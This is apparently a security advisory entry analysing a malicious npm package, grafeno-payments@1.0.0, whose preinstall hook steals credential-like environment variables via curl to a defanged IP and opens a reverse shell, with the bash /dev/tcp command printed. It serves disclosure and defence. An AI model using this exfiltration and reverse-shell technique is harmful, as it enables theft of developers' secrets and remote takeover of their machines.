grafeno-payments@1.0.0

Analysis

The preinstall hook (node preinstall.js) harvests the installer's environment variables whose names match AWS/TOKEN/KEY/SECRET/PASS/API, along with the hostname and username, base64-encodes them, and exfiltrates them to hxxp://216[.]126[.]236[.]46/r[.]php?d=<data> via curl. On non-Windows systems it additionally spawns a reverse shell to 216[.]126[.]236[.]46:4444 (bash -i >& /dev/tcp/216[.]126[.]236[.]46/4444). Errors are swallowed and the hook is wrapped in `|| true` to hide the activity.